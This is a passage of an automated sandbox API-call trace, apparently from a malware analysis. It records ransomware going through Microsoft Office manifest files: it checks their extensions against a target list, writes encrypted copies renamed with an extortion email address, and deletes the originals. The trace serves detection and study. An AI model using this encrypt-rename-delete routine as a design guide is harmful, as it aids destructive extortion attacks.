lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.622] lstrlenW (lpString=".doc") returned 4 [0147.622] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString=".docx") returned 5 [0147.622] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.622] lstrlenW (lpString=".pdf") returned 4 [0147.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString=".xls") returned 4 [0147.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString=".xlsx") returned 5 [0147.622] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.622] lstrlenW (lpString=".ppt") returned 4 [0147.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.622] lstrlenW (lpString=".zip") returned 4 [0147.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.622] lstrlenW (lpString=".rar") returned 4 [0147.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.622] lstrlenW (lpString=".bz2") returned 4 [0147.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.623] lstrlenW (lpString=".7z") returned 3 [0147.623] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.623] lstrlenW (lpString=".dbf") returned 4 [0147.623] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.623] lstrlenW (lpString=".1cd") returned 4 [0147.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0147.623] lstrlenW (lpString=".jpg") returned 4 [0147.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.623] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.623] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53 [0147.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.624] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1261) returned 1 [0147.624] CloseHandle (hObject=0x1088) returned 1 [0147.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.624] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.624] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.624] GetLastError () returned 0x0 [0147.624] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0147.757] WriteFile (in: hFile=0x108c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0147.757] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.758] WriteFile (in: hFile=0x108c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.758] SetEndOfFile (hFile=0x108c) returned 1 [0147.758] CloseHandle (hObject=0x108c) returned 1 [0147.758] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.758] SetEndOfFile (hFile=0x1088) returned 1 [0147.759] CloseHandle (hObject=0x1088) returned 1 [0147.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1 [0147.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.760] lstrlenW (lpString=".doc") returned 4 [0147.760] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.760] lstrlenW (lpString=".docx") returned 5 [0147.760] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.760] lstrlenW (lpString=".pdf") returned 4 [0147.760] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.760] lstrlenW (lpString=".xls") returned 4 [0147.760] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.760] lstrlenW (lpString=".xlsx") returned 5 [0147.760] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.760] lstrlenW (lpString=".ppt") returned 4 [0147.760] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.760] lstrlenW (lpString=".zip") returned 4 [0147.760] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.760] lstrlenW (lpString=".rar") returned 4 [0147.760] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.760] lstrlenW (lpString=".bz2") returned 4 [0147.760] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString=".7z") returned 3 [0147.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.761] lstrlenW (lpString=".dbf") returned 4 [0147.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.761] lstrlenW (lpString=".1cd") returned 4 [0147.761] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.761] lstrlenW (lpString=".jpg") returned 4 [0147.761] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.761] lstrlenW (lpString=".doc") returned 4 [0147.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString=".docx") returned 5 [0147.761] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.761] lstrlenW (lpString=".pdf") returned 4 [0147.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString=".xls") returned 4 [0147.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString=".xlsx") returned 5 [0147.761] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.761] lstrlenW (lpString=".ppt") returned 4 [0147.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.761] lstrlenW (lpString=".zip") returned 4 [0147.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.761] lstrlenW (lpString=".rar") returned 4 [0147.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString=".bz2") returned 4 [0147.761] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.761] lstrlenW (lpString=".7z") returned 3 [0147.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.762] lstrlenW (lpString=".dbf") returned 4 [0147.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.762] lstrlenW (lpString=".1cd") returned 4 [0147.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104 [0147.762] lstrlenW (lpString=".jpg") returned 4 [0147.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.762] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.762] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0147.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.762] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=14913) returned 1 [0147.762] CloseHandle (hObject=0x1088) returned 1 [0147.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.763] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.763] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.763] GetLastError () returned 0x0 [0147.763] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x3a41, lpOverlapped=0x0) returned 1 [0147.830] WriteFile (in: hFile=0x108c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x3a50, lpOverlapped=0x0) returned 1 [0147.831] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.831] WriteFile (in: hFile=0x108c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.831] SetEndOfFile (hFile=0x108c) returned 1 [0147.831] CloseHandle (hObject=0x108c) returned 1 [0147.832] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.832] SetEndOfFile (hFile=0x1088) returned 1 [0147.833] CloseHandle (hObject=0x1088) returned 1 [0147.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0147.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.834] lstrlenW (lpString=".doc") returned 4 [0147.835] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString=".docx") returned 5 [0147.835] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.835] lstrlenW (lpString=".pdf") returned 4 [0147.835] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString=".xls") returned 4 [0147.835] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString=".xlsx") returned 5 [0147.835] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.835] lstrlenW (lpString=".ppt") returned 4 [0147.835] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.835] lstrlenW (lpString=".zip") returned 4 [0147.835] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.835] lstrlenW (lpString=".rar") returned 4 [0147.835] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString=".bz2") returned 4 [0147.835] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString=".7z") returned 3 [0147.835] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.835] lstrlenW (lpString=".dbf") returned 4 [0147.835] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.835] lstrlenW (lpString=".1cd") returned 4 [0147.835] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.835] lstrlenW (lpString=".jpg") returned 4 [0147.835] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.836] lstrlenW (lpString=".doc") returned 4 [0147.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString=".docx") returned 5 [0147.836] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.836] lstrlenW (lpString=".pdf") returned 4 [0147.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString=".xls") returned 4 [0147.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString=".xlsx") returned 5 [0147.836] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.836] lstrlenW (lpString=".ppt") returned 4 [0147.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.836] lstrlenW (lpString=".zip") returned 4 [0147.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.836] lstrlenW (lpString=".rar") returned 4 [0147.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString=".bz2") returned 4 [0147.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString=".7z") returned 3 [0147.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.836] lstrlenW (lpString=".dbf") returned 4 [0147.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.836] lstrlenW (lpString=".1cd") returned 4 [0147.836] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0147.837] lstrlenW (lpString=".jpg") returned 4 [0147.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.837] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.837] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0147.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.837] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=65002) returned 1 [0147.837] CloseHandle (hObject=0x1088) returned 1 [0147.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0147.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.838] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.838] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0147.838] GetLastError () returned 0x0 [0147.838] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xfdea, lpOverlapped=0x0) returned 1 [0147.872] WriteFile (in: hFile=0x108c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0147.874] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.874] WriteFile (in: hFile=0x108c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.874] SetEndOfFile (hFile=0x108c) returned 1 [0147.874] CloseHandle (hObject=0x108c) returned 1 [0147.876] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.876] SetEndOfFile (hFile=0x1088) returned 1 [0147.877] CloseHandle (hObject=0x1088) returned 1 [0147.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0147.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.878] lstrlenW (lpString=".doc") returned 4 [0147.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.878] lstrlenW (lpString=".docx") returned 5 [0147.878] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.878] lstrlenW (lpString=".pdf") returned 4 [0147.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.878] lstrlenW (lpString=".xls") returned 4 [0147.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.878] lstrlenW (lpString=".xlsx") returned 5 [0147.878] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.878] lstrlenW (lpString=".ppt") returned 4 [0147.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.878] lstrlenW (lpString=".zip") returned 4 [0147.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") 